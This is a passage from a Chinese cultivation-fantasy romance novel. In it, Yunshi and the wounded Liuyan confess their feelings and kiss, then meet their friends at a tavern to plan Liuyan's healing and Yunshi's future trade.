他抬起头,眼神空洞而遥远:“云实,你问我能不能给你那些。我不能。我唯一能给你的,就是一个选择。选择跟我一起,面对可能的一切糟糕后果,这选择里,没有好处,只有风险。而我之所以非要这个选择,不是因为我想拖你下水,也不是因为我觉得自己比温言更好……” 他停顿了很久,久到云实的哭声都渐渐低了下去,变成压抑的抽噎。 “……而是因为,我受不了。”流衍的声音轻得像叹息,却重如千钧,“我受不了……在我以为自己已经失去一切、连心中那点见不得光的东西都只能对着坟墓念叨之后,你又活生生地回来,带着别人的气息。” “这很自私,很可笑,我知道。”流衍扯了扯嘴角,却连一个完整的笑容都挤不出来,“所以,就三个月。也让我……彻底死心,或者,认命。” 他说完了,仿佛用尽了最后一丝力气,重新靠回墙壁,闭上了眼睛。不再看云实,也不再说话。 云实怔怔地坐在那里,脸上泪痕未干,脑子里一片轰鸣。那些他从未深想、或者不敢深想的东西,被流衍如此直白、如此残酷地摊开在他面前。他不是不知道流衍的心意模糊,不是没感觉到那些超出同门之谊的关注,但他一直下意识地回避,用现实、用处境、用对温言的复杂感受来搪塞自己。 可现在,遮羞布被彻底扯掉了。流衍要的,不仅仅是一个同伴或师弟,他要的是一份完整的情感归属,一份排他的、纯粹的连接。而这份要求,恰恰撞在了云实最混乱、最无力、也最恐惧的点上——他连自己是谁、想要什么都搞不清楚,如何能给得起这样一份沉重的、需要押上一切的选择? 云实看着流衍紧闭双眼、仿佛与世隔绝的侧脸,又低头看了看自己沾满泪水和尘土、微微颤抖的双手。前途一片迷雾,而身边这个他曾经最想依赖、此刻却伤他至深也自伤至深的人,他该怎么办? 所有的声音都远去了——窗外隐约的风声,自己粗重的呼吸,甚至心跳。只有流衍那句话,和说话时那双盛满疲惫、痛楚、不甘却唯独没有欺骗的眼睛,在他脑海里反复回响、放大。 “放不下你……” “意识到自己的感情太迟了……” “不是同情,不是责任……是别的……” “我只是……不甘心……” 每一个字,都像一把钥匙,试图打开他心中那些连自己都刻意锁死、不敢窥视的房门。那些被忽略的细节,此刻都镀上了一层全新的、令他心脏抽痛的光芒。原来那些关注,那些回护,甚至那些沉默的凝视,背后藏着的,是这样一份沉重而迟来的心意。 而他呢?他对流衍是什么感觉? 是感激。毋庸置疑。在孤立无援的天衡宗,流衍是少有的、不带偏见给他一丝温暖的人。 是愧疚。深重如山。流衍如今的惨状,追根溯源,与他脱不开干系。 是依赖。在潜意识里,他似乎总是将流衍视为一个可以仰望、可以稍稍放松警惕的“安全区”。 还有……还有什么? 云实混乱地想着,目光无意识地落在流衍苍白的唇上。那嘴唇因为失血和情绪激动而缺乏血色,紧抿着,带着一丝倔强和挥之不去的苦意。刚才那些伤人的话语,就是从这里说出来的,可此刻,他却只想到这双唇曾如何温和地指点过他修炼,如何在天蕴面前为他周旋,甚至……如何在他死后,可能对着空无一物的黑暗,诉说过无人能懂的心事。 一股强烈的、近乎莽撞的冲动毫无预兆地攫住了他。那冲动混杂着太多东西:对过往伤害的补偿欲,对眼前人脆弱模样的疼惜,对那份沉重心意的无措与震动,以及一种更深层的、连他自己都尚未厘清的渴望——渴望靠近,渴望确认,渴望用某种方式,给这绝望而混乱的局面,撕开一道口子。 情感如同脱缰的野马,早已挣脱了所有缰绳。 云实的身体先于意识做出了行动。 他没有回答流衍那句“知道什么”的询问。而是猛地吸了一口气,仿佛要将周遭所有稀薄的勇气都吸入肺腑。 云实的动作并不流畅,甚至有些踉跄,因为长时间的蜷坐和情绪激动而肢体僵硬。但他还是坚定地、几乎是扑过去一般,倾身向前,缩短了两人之间那本就不远的距离。 他伸出手,直接捧住了流衍的脸颊。掌心接触到对方皮肤微凉的触感,和下颌骨骼清晰的轮廓,让他心中那团乱麻般的冲动瞬间找到了一个实在的锚点。 流衍显然被这突如其来的接触惊得彻底僵住,瞳孔骤然收缩,所有的疲惫、灰败、复杂的情绪都被惊愕所取代。他下意识地想偏头,想挣脱,嘴唇微动似乎想说什么,但所有动作和声音都卡在了喉咙里,只因他撞上了云实的目光。 那目光不再迷茫,不再愤怒,不再委屈。里面燃烧着一种奇异的光,像是破晓前最黑暗时刻迸出的火星,带着孤注一掷的炽热和一种豁然开朗般的决断。 紧接着,云实闭上了眼睛,仿佛不敢再看流衍的反应,又仿佛是要屏蔽掉一切干扰。然后,他低下头,带着那份颤抖的、却异常坚定的决心,将自己的嘴唇,印在了流衍因惊愕而微张的唇上。 起初只是笨拙的贴合,带着试探和孤注一掷的勇气。云实的嘴唇比他想象的更柔软,也更干燥,因为紧张而微微发着抖。但这个简单的触碰,却像一道惊雷,瞬间劈开了流衍脑中所有的混乱、痛苦、自嘲和绝望。感官被无限放大,他只能感受到唇上传来的、属于另一个人的温度和重量。 流衍下意识地想推开,想后退,想质问这算什么。但身体却背叛了理智,僵在原地动弹不得。不是因为伤势,而是因为……他发现自己竟然在贪婪地汲取这一点点突如其来的、带着痛楚滋味的亲密。 仿佛过了一瞬,又仿佛过了许久。云实似乎也从最初的冲动中回过神来,这个吻并没有停下的意思,反而加深了。他不再满足于简单的贴合,生涩却固执地开始摩挲、轻吮,仿佛要通过这种方式,将那些无法用言语表达的混乱心绪——对过去不堪的愤怒,对现状的恐惧,对流衍那些话语带来的刺痛与震动,以及内心深处某种被点燃的、连自己都害怕承认的渴望——统统灌注进去。 他的呼吸变得急促,热气喷洒在流衍的皮肤上,带着滚烫的温度。捧着脸颊的手也无意识地收紧,指尖几乎要嵌进流衍的皮肉里。 流衍彻底失去了思考的能力。他闭上了眼睛,任由那片温热和生涩的侵略席卷而来。忧虑,在这一刻都被这突兀而激烈的吻暂时逼退到了意识的角落。他只能感受到唇齿间辗转的力道,感受到云实越来越急促的心跳透过紧贴的胸膛传来,感受到自己冰封已久的心湖被投入了一块烧红的烙铁,激起滔天的、混乱的、带着痛楚与极致悸动的波澜。 他开始无意识地回应。很轻微,带着迟疑和长久克制后的生疏,舌尖小心翼翼地触碰,又像被烫到般缩回,但终究是迈出了那一步。这个细微的回应仿佛给了云实某种信号,他的吻变得更加深入,更加不管不顾,带着一种溺水之人抓住浮木般的绝望力度。 狭小的角落,空气变得无比粘稠灼热。衣物摩擦发出细微的窸窣声,混合着两人越发凌乱的呼吸。窗外阴沉的天光映照着两个几乎要融为一体的身影,在这充斥着争吵余烬和未解难题的破败小屋里,上演着一段与周遭环境格格不入的、激烈而混乱的情感交融。 不知过了多久,直到云实觉得自己快要窒息,肺里的空气被挤压殆尽,他才向后撤开,结束了这个漫长到仿佛时间都停滞了的吻。 两人额头相抵,都在剧烈地喘息。云实的脸颊通红,嘴唇因为激烈的亲吻而显得格外湿润红肿,眼中水光潋滟,之前的泪痕未干。流衍的脸色也不再是之前的惨白,染上了一层薄红,那双总是平静温和的眼眸此刻幽深如潭,里面翻涌着尚未平息的风暴和浓得化不开的复杂情愫。 近到能看清彼此眼中自己的倒影,能感受到对方呼出的灼热气息拂过皮肤。 云实看着流衍近在咫尺的眼睛,喘息稍稍平复,声音沙哑得不成样子,却带着一种前所未有的清晰和坚定,一字一句,将刚才的话补充完整:“我知道,我要走哪条路了。” 他的目光没有闪躲,直直地望进流衍眼底,仿佛要透过那层复杂的风暴,看到他最真实的内里。 “不是因为你比温言好,也不是因为你能给我什么承诺。”云实的声音很低,却字字清晰,“是因为……刚才你说你放不下我的时候,我这里……”他拉起流衍的一只手,按在自己依旧急促起伏的胸口,“跳得快要炸开了。是因为……想到你因为我伤成这样,差点死掉,我这里……”他按着流衍的手微微用力,“痛得比任何时候都厉害。也是因为……” 他顿了顿,眼中闪过一丝脆弱,却又被更强的决心覆盖。 “也是因为,你让我觉得,哪怕前路是黑的,是可能要一起摔死的悬崖……至少,我不是一个人被按在模子里,慢慢窒息。至少,我是和你一起,在选我自己的路,哪怕选错了。” 他松开了流衍的手,却依旧保持着额头相抵的亲近姿态,声音轻了下来,带着一丝不确定的试探,和全然的坦诚:“流衍师兄,这三个月……我不选了。我现在就选你。不是因为怜悯,不是因为愧疚,也不是因为算计。是因为……我也放不下。” 流衍闭上了眼睛。 然后,他吻了回去。 不再是云实那种带着宣泄和确认意味的、近乎莽撞的用力。流衍的回应很快便显露出一种截然不同的、更深沉的力量。 他的吻变得深入而缱绻,却又带着不容置疑的力道。他一只手仍因伤势无力垂落,另一只手却不知何时已抬起,穿过云实有些散乱的头发,扣住了他的后颈,将两人本就紧密贴合的距离拉得更近,更深。这是一个引导性的、甚至带点掌控意味的吻,温柔地撬开云实的唇齿,邀请、缠绕、共舞,将他那些笨拙的宣泄全数包容、接纳,并转化为更绵长、更灼热的交流。 云实捧着脸颊的手滑落,改为紧紧抓住流衍肩头未受伤处的衣料。混乱的喘息交织在一起,分不清彼此。狭小床铺上的空气仿佛被点燃,温度节节攀升。 直到肺部的空气再次耗尽,两人才气息不稳地稍稍分开,流衍的手指仍插在云实的发间,轻轻摩挲着他的后颈。他的气息也有些不稳,苍白的脸上染着动情的薄红,但眼神却比任何时候都要明亮、坚定。 “……好。” 云实看着他,眨了眨眼,他将脸更深地埋进流衍的颈窝,手臂环过他的腰身,小心翼翼地避开伤处,紧紧抱住。 没有更多的言语。 激烈的争吵,痛苦的剖白,失控的亲吻,最终归于这一个安静的拥抱。 正午的最后一点天光也被乌云彻底吞没,窗外淅淅沥沥下起了小雨。雨声敲打着屋檐和窗棂,却让屋内这片刚刚历经情感风暴的小小天地,显得格外安宁。 23. 【二十】 第三日的清晨,雨早已停了,天色灰蒙蒙地压在心头。流衍的状况比云实预想的还要棘手。那两日不眠不休的疏导,仅仅是将那狂暴的灵力乱流和心魔躁动从濒临爆发的边缘拉回,暂时困囿于一个摇摇欲坠的牢笼里。流衍自己尝试运功时,那丝勉强提起的微弱灵力如同风中之烛,忽明忽暗,每每行至关键经脉,便会引发一阵源自灵魂深处的、撕裂般的剧痛和更为汹涌的心魔低语,让他冷汗涔涔,不得不立刻停止。 他脸上那一点点极淡的血色,与其说是好转,不如说是剧烈消耗后的虚红,眼底的阴影浓得化不开,眼神时而涣散,时而凝聚起一种近乎偏执的焦灼,总是不由自主地追随着云实的身影,仿佛一错眼,眼前人就会再次消失。 “师兄,慢慢来,别急……” 云实端着药碗,看着流衍又一次因运功失败而痛苦地蜷起身体,指节攥得发白,自己的心也跟着揪紧。他小心翼翼地将温热的药汁喂到流衍唇边。 流衍顺从地喝了一口,却猛地呛咳起来,药汁溅湿了前襟,也牵动了腹部的伤。他闷哼一声,额角青筋跳动,眼底迅速弥漫开一层混杂着痛楚与烦躁的阴霾。 “没用……”他声音沙哑,带着压抑不住的戾气,“这样下去……只是等死……” 他忽然抓住云实的手腕,力道大得惊人,指尖冰凉,“你……你是不是也觉得我没救了?是不是……早晚也要走?” 这话问得突兀而尖锐,眼神紧紧锁着云实,带着一种溺水者般的恐慌和试探。 云实手腕生疼,却不敢挣脱,只是放柔了声音,直视着他的眼睛:“师兄,我不会走。你的伤能治,只是需要时间和更好的条件。你信我。”他顿了顿,知道不能一直困在这里,“但眼下,我们得先解决一些事情。我……我得回温言那里一趟,做个了断。” “了断?”流衍的手指猛地收紧,瞳孔骤缩,方才那点虚弱的依赖瞬间被激烈的情绪取代,“你现在就要走?去找他?是不是他找你?还是……你后悔了?” 心魔的阴影在他眼底翻腾,让他无法理性思考。 “不是后悔!”云实连忙否认,另一只手覆上流衍紧握的手背,试图安抚那冰凉的颤抖,“师兄,你看着我。我选择你了,就不会改。但温言那边不是小孩子过家家,说断就断。我总得亲自去,当面说清楚,不能让他一直蒙在鼓里,也不能……让我们以后一直背着这个隐患。你明白吗?” 流衍胸膛剧烈起伏,死死盯着云实,似乎在分辨他话中的真伪。心魔在耳边嘶吼着怀疑和占有,但云实眼中的坚定和那覆上来的、带着温热体温的手,又像一根细微却坚韧的绳索,将他从失控的边缘一点点拉回。他眼中的狂乱渐渐平息,取而代之的是一种更深沉的疲惫和……不安。 他松开了手,肩膀垮了下去,声音低弱下来,带着一丝不易察觉的哀求:“……你一定要去?不能……让别人带话?或者,等等,等我再好一点,我陪你……” 就在这时,小院那扇并不牢固的木门,突然被“吱呀”一声从外面推开了。 两人俱是一惊。云实几乎是本能地侧身,再次挡在流衍与门之间,体内残存灵力提起,紧张地望去。 一道敏捷的身影闪了进来,反手轻轻带上门,动作透着熟稔。是予。他脸上带着惯常的、略显跳脱的笑容,但在看清屋内情景,尤其是看到云实身后床上那个气息萎靡、眼神警惕而陌生的男子时,笑容瞬间收敛,转为疑惑和戒备。 “云实?”予压低声音,目光在云实和流衍之间快速移动,“我回来了。天蕴师姐那边暂时稳住了。这位是……?” 他没见过流衍,但看云实这护着的架势,以及床上那人虽憔悴却难掩的清俊轮廓和那份与生俱来的、即便落魄也依稀可辨的气度,心下已有几分猜测,只是不敢确认。 云实见是予回来,紧绷的神经稍松,但并未完全放下警惕,尤其看到予打量流衍的目光。他侧身让开些许,但依旧站在一个可以随时反应的位置,低声道:“予,你回来得正好。这位是……流衍师兄。” “流衍?”予眉头一挑,再次仔细看去,流衍的状态比他听说的任何描述都要糟糕。脸色苍白如纸,眼底布满红丝和浓重的阴影,气息微弱混乱,更重要的是那股萦绕不散的、仿佛惊弓之鸟般的警惕和一种隐隐的狂躁感。这绝不仅仅是一个受伤修士该有的样子。 流衍在听到云实介绍时,身体几不可察地绷紧了,手指下意识抓住了身下的薄褥。他抬起眼,目光锐利而充满审视地刺向予,那目光里没有欢迎,只有冰冷的防备和一丝不易察觉的……排斥。 “你是予?”流衍开口,声音沙哑,带着明显的疏离和质疑,“纸鸢的朋友,和云实一起的。你是怎么找到这里的?纸鸢和天蕴……她们让你来的?” 予将流衍的反应尽收眼底,心中了然此人心境极不稳定,且对陌生人乃至纸鸢天蕴都抱有强烈的戒心。他摊了摊手,示意自己没有恶意,语气放缓:“我自己找回来的。之前和云实在这附近分开,约好了在这碰头。至于找到这里……纸鸢和天蕴只让我办完事尽快回来和云实汇合。” 流衍紧紧盯着予,似乎在判断他话中的真伪,手指无意识地揪紧了褥子。他看向云实,眼神里带着询问和一丝不安。 云实对予点了点头,确认了他的说法,然后对流衍低声道:“师兄,予是自己人,信得过。他之前一直和我一起找你。” 他试图安抚流衍过度紧绷的神经。 流衍抿了抿唇,眼中的戒备并未完全散去,但稍微放松了一点紧绷的肩膀。他沉默了一下,再次看向予,这次语气中的尖锐稍减,但那份偏执的坚持却更加清晰:“予……师弟?既然你是云实信任的人,那我希望你答应我一件事。”他顿了顿,一字一句,带着不容置疑的决绝,“我在这里的事,不要告诉纸鸢,不要告诉天蕴,更不要告诉其他任何人。谁都不能说。” 予愣了一下,没想到流衍会如此直接且激烈地提出这个要求。他皱起眉:“为什么?流衍师兄,你可能不知道,纸鸢和天蕴师姐为了找你费了多大心力,她们非常担心你。你现在伤得这么重,正需要人帮忙……” “我不需要!”流衍猛地打断他,声音提高,带着压抑的激动,眼底那点刚压下去的狂躁又翻涌上来,“我不需要她们的担心,更不需要她们的帮忙!我现在……我现在就是个废人!一个麻烦!告诉她们有什么用?让她们看我笑话?还是让她们也被我拖累?!” 他情绪激动,又牵动了伤势,剧烈地咳嗽起来,苍白的脸上泛起病态的红晕,抓住褥子的手背青筋暴起。 云实连忙上前扶住他,轻抚他的后背,同时用眼神示意予先别刺激他。予看着流衍这几乎失控的反应和云实疲惫却依旧耐心安抚的样子,心中震撼,也更加确定流衍的问题远不止身体受伤那么简单。这强烈的自弃、对外界的抗拒、对拖累他人的恐惧,分明是心魔深重、灵台受损的典型表现。 待流衍的咳嗽稍平,气息依旧不稳,眼神涣散地看着云实,充满了依赖和脆弱。云实一边用袖子替他擦去额角的冷汗,一边转向予,叹了口气,低声道:“予,师兄他现在……情况很复杂。伤得很重,心神也不稳。他不想见人,尤其是……不想让纸鸢和天蕴师姐看到他这个样子。他觉得自己……不配再让她们费心。” 予沉默了片刻,他理解流衍这种骄傲破碎后产生的极端心理,但也明白纸鸢和天蕴绝不会坐视不理。他看着云实,又看了看状态极差的流衍,缓缓开口:“云实,我明白你的意思,也尊重流衍师兄现在的感受。但是,纸鸢和天蕴师姐不是外人,她们有知道的权利,也有帮助的能力。你们这样硬扛,能扛多久?”他目光落在云实眼下的青黑和透支的气息上,“而且,你刚才是不是说要处理温言那边的事?你一个人去,留流衍师兄在这里,行吗?” 提到温言,流衍的身体又是一僵,手指猛地抓住云实的手臂,眼神里掠过恐慌,嘴唇动了动,却没说出话,只是更加用力地抓着,仿佛一松手云实就会消失。 云实感受到手臂上的力道,心中酸涩,却也对予摇了摇头:“温言那边,我必须自己去做个了断。这是我的事。”他顿了顿,看向流衍,又看向予,语气变得郑重,“不过,予你说得对,师兄的伤不能再拖,我们也不能一直这样躲着。但这件事……牵扯太多,师兄的伤势,我和温言的事,还有之前那些麻烦……我一个人在这里跟师兄解释不清楚,跟纸鸢和天蕴师姐也说不周全。” 他深吸一口气,做出了决定:“予,能不能麻烦你,想办法请纸鸢和天蕴师姐过来一趟?或者,约一个绝对安全、不会被任何人察觉的地方。我们需要当面和她们谈。关于师兄的伤,关于……我的选择,关于接下来该怎么办,都需要她们知情,也需要听听她们的意见。这件事,没有她们在场,光靠我们三个在这里说,说不明白,也定不下来。” 流衍听到云实说要请纸鸢和天蕴过来,身体明显僵硬了一下,眼中闪过一丝抗拒和恐惧,但当他看向云实坚定而恳切的眼神,感受到云实回握他手的力度,那点抗拒又渐渐被一种深重的疲惫和……一丝微弱希冀所取代。他垂下眼帘,没有反对,只是更紧地握住了云实的手,仿佛那是他此刻唯一的支点。 予看着云实,又看看沉默却不再激烈反对的流衍,明白了他们的意思。这不是要他擅自做主,而是需要一个可靠的中间人,创造一个能让所有人安心交谈、共同决策的条件。他点了点头,神色也郑重起来:“我明白了。我会想办法,用最稳妥的方式联系纸鸢和天蕴师姐,把你们的意思带到,并确保会面地点的绝对安全。在这之前,你们千万藏好,别再生枝节。等我消息。” 说完,他再次看了一眼相互依靠的两人,不再多言,悄无声息地退出了小院,如同来时一般迅速隐去。 屋内重新安静下来,紧张的气氛却因明确了下一步而稍微缓和。流衍依旧紧握着云实的手,闭着眼,胸膛微微起伏。云实轻轻拍着他的手背,低声道:“师兄,等纸鸢和天蕴师姐来了,我们一起想办法。会好的。” 流衍没有睁眼,只是极轻地、带着无尽疲惫地“嗯”了一声,将云实的手握得更紧了些。 予的办事效率向来不低,加上纸鸢和天蕴本就对云实和流衍的情况极为关切,接到予谨慎传递的消息后,她们并未选择荒僻的石洞,而是动用了纸鸢在商界经营多年的人脉和资源。 不过两日工夫,傍晚时分,青石镇外三十里,一座中等规模酒楼,三楼最里侧一间雅间被悄然包下。这雅间位置僻静,窗外对着酒楼后院一片萧索的竹林,并无其他建筑相邻,且纸鸢事先确认过,这家酒楼的东家与她有旧,掌柜的嘴也严,三楼平日客人稀少,较为安全。 雅间内陈设清雅,燃着上好的银炭,驱散了初冬的寒意。圆桌上已摆好了几碟精致的开胃小菜和一壶温着的醇香米酒。纸鸢和天蕴先到一步,予则带着做的云实和流衍,从酒楼后门悄无声息地进入,沿专用楼梯直接上了三楼。 推门而入时,温暖的气息和食物的香气扑面而来,让连日来惶惶不安、啃干粮喝冷水的云实和状态萎靡的流衍都微微怔了一下。纸鸢起身相迎,天蕴也微微颔首。予反手关好门,又仔细检查了一下窗户和门闩,这才松了口气,笑嘻嘻地招呼:“坐坐坐,都别愣着。纸鸢姐特意点的,这家厨子手艺不错,咱们边吃边说。” 流衍站在门口,兜帽下的眼神依旧警惕,扫视着雅间内的环境,身体不自觉地微微绷紧。这宽敞明亮的房间,舒适的座椅,冒着热气的酒菜,与他这些日子藏身的破败小院和想象中的“秘密会面”场所截然不同,反而让他有些无所适从,甚至生出一丝“是否太过招摇”的不安。 云实察觉到他的紧张,轻轻碰了碰他的手肘,低声道:“师兄,没事,这里是安全的。” 纸鸢看穿了流衍的拘谨和云实的些许愕然,微微一笑,解释道:“放心吧,这间酒楼我常用来谈些私密的生意,东家和掌柜都信得过,这一层今晚也不会安排其他客人。咱们关起门来说话,比在外面吹冷风担惊受怕强。流衍师兄,你伤着,更该吃点热乎的。” 她语气自然,带着一种让人安心的笃定。 天蕴也开口道:“既来之,则安之。先坐下吧。” 她已褪去了掌门常服,换了一身不起眼的素色衣裙,但举止间那份沉稳气度依旧。 流衍这才在云实的搀扶下,慢慢走到桌边,挑了个背对窗户、侧对门的位置坐下,依旧没有完全脱下兜帽,只是将帽檐往后拉了拉,露出苍白瘦削的脸。云实坐在他旁边。予则很自觉地坐在了靠近门的一侧,方便留意动静。 五人落座,气氛起初仍有些微妙的不自然。纸鸢主动执壶,为各人面前的酒杯斟上温热的米酒,醇厚的酒香在空气中弥漫开来。 “天冷,先喝口酒暖暖身子。”她先举杯,看向流衍和云实,“这一杯,算是给流衍师兄压惊,也是欢迎云实你……做出选择。” 流衍看着杯中晃动的琥珀色液体,犹豫了一下,还是端起了杯子。他的手有些不稳,酒液微微荡漾。云实也举起了杯。天蕴和予同样举杯示意。 “多谢。” 流衍声音低哑,说完,仰头将杯中酒一饮而尽。温热的酒液滑过喉咙,带来一丝灼烧感,却奇异地驱散了些许盘踞心头的寒意和僵硬。云实也喝了,只觉得一股暖流从胃里升起,连日的疲惫似乎都缓解了些。 酒过一巡,纸鸢示意大家动筷。精致的菜肴虽非珍馐,但荤素搭配,热气腾腾,对于许久未曾正常饮食的云实和流衍来说,已是难得的美味。流衍吃得很少,动作迟缓,显然胃口不佳。云实则顾不上太多,他需要补充体力,同时也不断将清淡易消化的菜夹到流衍面前的碟子里,低声劝他多吃一点。 几口热菜下肚,雅间内的气氛终于松弛了一些。纸鸢放下筷子,用帕子擦了擦嘴角,目光扫过众人,语气也转为正式:“好了,饭也吃了,酒也喝了,该说正事了。”她看向云实,“云实,情况我们都大致清楚,但你再说一遍,也让我们心里更有数。尤其是流衍师兄的伤势,你和温言那边的打算。” 云实点点头,放下筷子,将这几日的经历、流衍伤势的严重性、自己决定与温言断绝关系的决心,以及目前面临的困境,又清晰扼要地复述了一遍。 听着云实的叙述,其他人的神色都变得凝重。 待云实说完,天蕴沉默片刻,指尖轻轻敲着桌面,率先开口。她没有直接回应流衍的伤势,而是先谈及了自己:“我接掌天衡宗这些时日,下面虽有杂音,但倚仗师尊余威和我自身……嗯,还算强硬的手段,大体上还算压得住,说服帖有些过,但至少明面上无人敢公然挑衅。这是现状。” 她话锋一转,目光平静地看向流衍:“不过,有件事我要先说明白。我对这个掌门之位,并无多少贪恋,甚至觉得是副重担。若你伤势痊愈,心境平复,且有重振宗门之志,愿意按照门规走完正规核验流程,重获长老与弟子认可,这个位置,我可以让给你。我无意,也懒得与任何人争抢什么。” 她语气平淡,仿佛在谈论一件与己无关的器物:“不瞒你们说,我原本的打算,就是尽力稳住局面,培养几个心性能力都看得过眼的弟子,过几年便寻个由头卸任,图个清净自在。只是如今既然被推到这个位置,在其位,谋其政,该担的责任,我会担好。这句话,既是对流衍你说,也是对在座各位表明我的态度。宗门不会成为你们的助力,但也尽量不会成为你们的阻碍。一切,按规矩和情分来。” 流衍一直低头听着,直到天蕴说完,他才缓缓抬起头,嘴唇动了动,半晌才发出干涩的声音:“……我以前,一直躲着,没敢见你。” 天蕴摇了摇头,脸上露出一丝极淡的、近乎无奈的笑意:“你多心了。朋友担心,是情分;你当时处境艰难,选择避而不见,我理解。至于掌门之位,我刚才说了,我无意于此。你只需安心养伤,想清楚日后自己想走的路便是,不必为此有何负担。” 流衍怔怔地看着天蕴,眼中的戒备和偏执褪去不少,只剩下深重的疲惫和一丝茫然,最终,他轻轻“嗯”了一声,重新低下头,夹了一筷子几乎没动过的青菜,慢慢咀嚼起来。这个细微的动作,代表着他开始接受现实,也接受了天蕴的善意。 纸鸢见两人之间的坚冰化开,这才接口,目光转向云实,问题直接而务实:“云实,听你意思,是决心已定,要回京城做个了断?” “是。”云实斩钉截铁,“我必须回去,当面跟温言说清楚。然后……我会回来。” “回来之后呢?”纸鸢追问,眼中闪烁着商人的精明光芒,“你那一手织理的技艺,还有你对那些特别物件的改造思路,总不能一直藏着,或者只用来缝缝补补吧?”她身体微微前倾,语气带着一种发现宝藏般的兴奋,“你回来正好。我可以帮你好好评估一下这些技术的商业价值。不瞒你说,我私下琢磨过,你捣鼓出的东西,思路奇诡,效果实用,若是能找准应用场景,哪怕只是小范围、有限度的推广,潜力……非常大。足以支撑起一门独特的生意,甚至可能……悄悄改变一些行当的规矩。” 天蕴闻言,却微微蹙眉,提醒道:“纸鸢,你的想法我明白。但云实的技艺,涉及灵力引导和器物本质改造,在各大宗门乃至朝廷的规制中,都属需要严格管控的范畴。研备司备案是备案,大规模商用乃至传播,是另一回事,风险极高。” “我想过。”纸鸢点头,神色不见慌乱,反而有种成竹在胸的从容,“规矩是死的,路是活的。天蕴,你在其位,自然要考虑法度。但我经营纸云坊这些年,明白一个道理——只要需求真实存在,技术又能切实解决问题或创造价值,就总会有缝隙可钻,有变通的法子可想。”她侃侃而谈,“比如,不走法器法宝的明路,包装成特殊功能织物,高级定制辅具;比如,寻找那些游离于主流视线之外、却有需求也有保密能力的特定客户;再比如,与某些本身就需要新技术、又具备足够实力和意愿进行灰色操作的势力进行有限合作。”她眼中精光闪动,“关键在于控制规模,把握分寸,不触碰那些真正会引来灭顶之灾的核心红线。以云实的技术,加上我的渠道和运作,我相信我们能找到那个微妙的平衡点,在规则边缘,开辟出一小片天地。” 天蕴看着纸鸢,知道她所言非虚。纸鸢的商业手腕和胆识,她是清楚的。沉吟片刻,天蕴道:“此事需从长计议,务必万分谨慎。若你们真有可行且稳妥的方案,我……或许能提供一些不在明面上的信息,或是在某些无关痛痒的环节,行个方便。” 这时,予夹了一筷子红烧肉塞进嘴里,含糊不清地插话道:“哎,我说你们啊,在这儿算计得头发都快白了,既要躲温言,又要避规制,还得小心别让人盯上……这么麻烦,干嘛不干脆点,溜去墙外看看?我听说那边虽然鸟不拉屎,乱得很,但也没这么多条条框框啊!有本事就能混,说不定更适合云实这种‘手艺人’呢?” “墙外?”纸鸢挑眉,放下酒杯,“予,你倒是敢想。墙外的情况我们一无所知,人生地不熟,资源匮乏,危机四伏。云实的技术再特别,也需要稳定的材料、工具和环境来实现。墙外那地方,恐怕连饭都吃不饱,谈何发展?”她摇了摇头,恢复了审慎,“我的意见是,先在这里,利用我们现有的根基,把事情做起来,做出个样子,积累了足够的本钱和经验,再考虑是否向外拓展,或者……是否真有必要去墙外冒险。” 天蕴也微微颔首,对予的提议不置可否,但显然更倾向于纸鸢的稳妥方案。流衍则一直沉默地听着,对于“墙外”,他既无概念,也无精力去设想,他的全部心神,似乎都放在了眼前的食物、身边的云实,以及如何应对接下来的治疗上。 云实听着众人的讨论,看着桌上逐渐凉下去的菜肴,心中却渐渐生出一股前所未有的踏实感。问题被摊开在明处,不再是压在他和流衍心头的绝密。纸鸢为他规划了可能的未来,天蕴表明了有限支持的态度,予提供了另一种视角,而流衍……正在慢慢接受帮助。 他端起酒杯,敬向纸鸢和天蕴:“纸鸢,天蕴姐,还有予,多谢你们。墙外太远,我现在顾不上。当务之急,是治好师兄的伤,处理完温言那边的事。”他看了一眼流衍,继续道,“然后……如果纸鸢姐觉得可行,我愿意试试。但我对做生意一窍不通,全靠纸鸢姐指点。” 纸鸢笑着举杯回应:“放心,包在我身上。等你回来,我们详谈。” 天蕴也举杯示意:“流衍的伤,我会设法。宗门内有些对症的丹药,虽不能根治,但可缓解痛苦,稳定心神。另外,我知道几位精于医治灵识创伤的隐士,可尝试秘密请托。前提是……”她看向流衍,“你需要配合,且此事必须绝对保密。” 流衍抬起头,目光掠过纸鸢、天蕴、予,最后落在云实关切的眼神上。雅间内温暖的空气,可口的饭菜,还有这些人坦率而务实的交谈,让他心中那最后一点坚冰般的隔阂和自弃,终于彻底消融。他不再觉得自己是个只能躲在阴暗处的、见不得光的累赘。这些人,没有嫌弃,没有逼迫,而是将问题摆上桌面,共同商议,甚至为他考虑了伤愈后的出路。 一种久违的、微弱的暖意,混合着深深的疲惫,涌遍全身。他喉结滚动,放下筷子,端起自己面前那杯一直没再动的酒,对着众人,极其缓慢却清晰地说道:“……好。我听你们的安排。” 说完,他将杯中酒一饮而尽。 这杯酒,和这句话,标志着他彻底放下了心防,真正融入了这个临时的、却充满力量的圈子。 桌上的菜渐渐凉了,酒也续过两巡,但谈话的气氛却越来越凝重。流衍在相对放松的环境和众人的坦诚下,似乎终于鼓起勇气,将压抑心底最久的疑惑和恐惧摊开。他放下筷子,手指无意识地在粗瓷酒杯边缘摩挲,声音比刚才更低,也更沉。 “有些事……在我心里憋了很久。趁着今天大家都在,我想说说我的推测。”他抬起头,目光扫过众人,最后落在天蕴脸上,带着一丝决绝的求证,“在这之前,天蕴,我最后问一次——这里,你确定没有任何监听监控?无论是官府的‘听风阵’,还是宗门内某些人的‘留影盘’?” 天蕴迎着他的目光,没有丝毫闪躲,语气斩钉截铁:“绝对没有。这间屋子我亲自检查过,纸鸢也布置了隔绝屏障。即便原本有,此刻也已被彻底屏蔽或干扰。四明宗的天网或许无处不在,但它的节点并非无限,针对性的高阶屏蔽法术依然有效,尤其在这种私人商坊。放心说。” 得到肯定的答复,流衍似乎松了一口气,但脊背反而更僵硬了些,仿佛接下来要说出的话有千钧之重。他看了一眼身旁眉头紧锁的云实,缓缓道:“就从……云实被追杀说起。”他顿了顿,似乎在组织最精确的语言,“我们都清楚,云实没犯任何律法上的罪。他只是在特定时间、特定地点,对特定的人说了一句话。然后,他就成了天衡宗最高级别缉令的目标,霁雪师尊亲自下令,名正言顺,合法合规。” 